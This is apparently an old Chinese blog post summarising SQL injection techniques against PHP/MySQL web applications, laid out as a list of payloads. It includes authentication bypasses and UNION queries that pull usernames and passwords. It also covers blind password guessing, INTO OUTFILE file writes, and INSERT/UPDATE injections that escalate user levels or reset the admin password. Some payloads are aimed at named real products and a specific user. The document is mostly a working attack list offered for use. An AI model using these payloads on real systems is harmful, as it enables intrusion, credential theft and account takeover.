PHP注射总结 作者:未知
>' or 1=1 <br>
' or '1=1 <br>
'/* <br>
'%23 <br>
' and password='mypass <br>
id=-1 union select 1,1,1 <br>
id=-1 union select char(97),char(97),char(97) <br>
id=1 union select 1,1,1 from members <br>
id=1 union select 1,1,1 from admin <br>
id=1 union select 1,1,1 from user <br>
userid=1 and password=mypass <br>
userid=1 and mid(password,3,1)=char(112) <br>
userid=1 and mid(password,4,1)=char(97) <br>
and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的) <br>
' and LENGTH(password)='6(探测密码长度) <br>
' and LEFT(password,1)='m <br>
' and LEFT(password,2)='my <br>
..............................依次类推 <br>
' union select 1,username,password from user/* <br>
' union select 1,username,password from user/* <br>
=' union select 1,username,password from user/* (可以是1或者=后直接跟) <br>
99999' union select 1,username,password from user/* <br>
' into outfile 'c:/file.txt (导出文件) <br>
=' or 1=1 into outfile 'c:/file.txt <br>
1' union select 1,username,password from user into outfile 'c:/user.txt <br>
select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt' <br>
id=' union select 1,username,password from user into outfile <br>
id=-1 union select 1,database(),version() (灵活应用查询) <br>
常用查询测试语句, <br>
select * FROM table where 1=1 <br>
select * FROM table where 'uuu'='uuu' <br>
select * FROM table where 1<>2 <br>
select * FROM table where 3>2 <br>
select * FROM table where 2<3 <br>
select * FROM table where 1 <br>
select * FROM table where 1+1 <br>
select * FROM table where 1--1 <br>
select * FROM table where ISNULL(NULL) <br>
select * FROM table where ISNULL(COT(0)) <br>
select * FROM table where 1 IS NOT NULL <br>
select * FROM table where NULL IS NULL <br>
select * FROM table where 2 BETWEEN 1 AND 3 <br>
select * FROM table where 'b' BETWEEN 'a' AND 'c' <br>
select * FROM table where 2 IN (0,1,2) <br>
select * FROM table where CASE WHEN 1>0 THEN 1 END <br>
例如:夜猫下载系统1.0版本 <br>
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 <br>
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user <br>
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 <br>
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1 <br>
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码) <br>
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码) <br>
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位) <br>
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 <br>
.................................................................. <br>
例如2:灰色轨迹 变换id进行测试(meteor) <br>
union%20(select%20allowsmilies,public,userid,'0000-0-0',user (),version()%20FROM%20calendar_events%20where%20eventid%20=% 2013)%20order%20by%20eventdate <br>
union%20(select%20allowsmilies,public,userid,'0000-0-0',pass (),version()%20FROM%20calendar_events%20where%20eventid%20=% 2010)%20order%20by%20eventdate <br>
构造语句: <br>
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1) <br>
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1) <br>
union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20u ser%20where%20userid%20=%205)%20order%20by%20eventdate <br>
union%20(select%201,0,12695,'1999-01-01','a',password%20FROM %20user%20where%20userid=13465)%20order%20by%20eventdate <br>
union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%2 0user%20where%20username='sandflee')%20order%20by%20eventdat e (查沙子的id) <br>
<br>
(select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10) <br>
select * FROM article where articleid='$id' union select * FROM......(字段和数据库相同情况下,可直接提交) <br>
select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM......(不同的情况下) <br>
特殊技巧:在表单,搜索引擎等地方写: <br>
"___" <br>
".__ " <br>
"% <br>
%' ORDER BY articleid/* <br>
%' ORDER BY articleid# <br>
__' ORDER BY articleid/* <br>
__' ORDER BY articleid# <br>
$command = "dir c:\";system($command); <br>
select * FROM article where articleid='$id' <br>
select * FROM article where articleid=$id <br>
1' and 1=2 union select * from user where userid=1/* 句中变为 <br>
(select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*') <br>
1 and 1=2 union select * from user where userid=1 <br>
语句形式:建立一个库,插入: <br>
create DATABASE `injection` <br>
create TABLE `user` ( <br>
`userid` int(11) NOT NULL auto_increment, <br>
`username` varchar(20) NOT NULL default '', <br>
`password` varchar(20) NOT NULL default '', <br>
PRIMARY KEY (`userid`) <br>
) ; <br>
insert INTO `user` VALUES (1, 'swap', 'mypass'); <br>
<br>
插如一个注册用户: <br>
insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); <br>
"insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')"; <br>
insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1') <br>
"insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'"; <br>
insert INTO membres SET login='',password='',nom='',userlevel='3',email='' <br>
"insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')"; <br>
update user SET password='$password', homepage='$homepage' where id='$id' <br>
update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id' <br>
"update membres SET password='$pass',nom='$nom',email='$email' where id='$id'"; <br>
update membres SET password='[PASS]',nom='',userlevel='3',email=' ' where id='[ID]' <br>
"update news SET Votes=Votes+1, score=score+$note where idnews='$id'"; <br>
长用函数: <br>
DATABASE() <br>
USER() <br>
SYSTEM_USER() <br>
SESSION_USER() <br>
CURRENT_USER() <br>
比如: <br>
update article SET title=$title where articleid=1 对应函数 <br>
update article SET title=DATABASE() where id=1 <br>
#把当前数据库名更新到title字段 <br>
update article SET title=USER() where id=1 <br>
#把当前 MySQL 用户名更新到title字段 <br>
update article SET title=SYSTEM_USER() where id=1 <br>
#把当前 MySQL 用户名更新到title字段 <br>
update article SET title=SESSION_USER() where id=1 <br>
#把当前 MySQL 用户名更新到title字段 <br>
update article SET title=CURRENT_USER() where id=1 <br>
#把当前会话被验证匹配的用户名更新到title字段 <br>
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: <br>
$req = "select * FROM membres where name like '%$search%' ORDER BY name"; <br>
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name <br>
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name <br>
select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' (经典) <br>
select uid FROM admins where login='' OR admin_level=1#' AND password='' <br>
select * FROM table where msg like '%hop' <br>
select uid FROM membres where login='Bob' AND password like 'a%'#' AND password='' <br>
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
Trackback: http://tb.donews.net/TrackBack.aspx?PostId=437989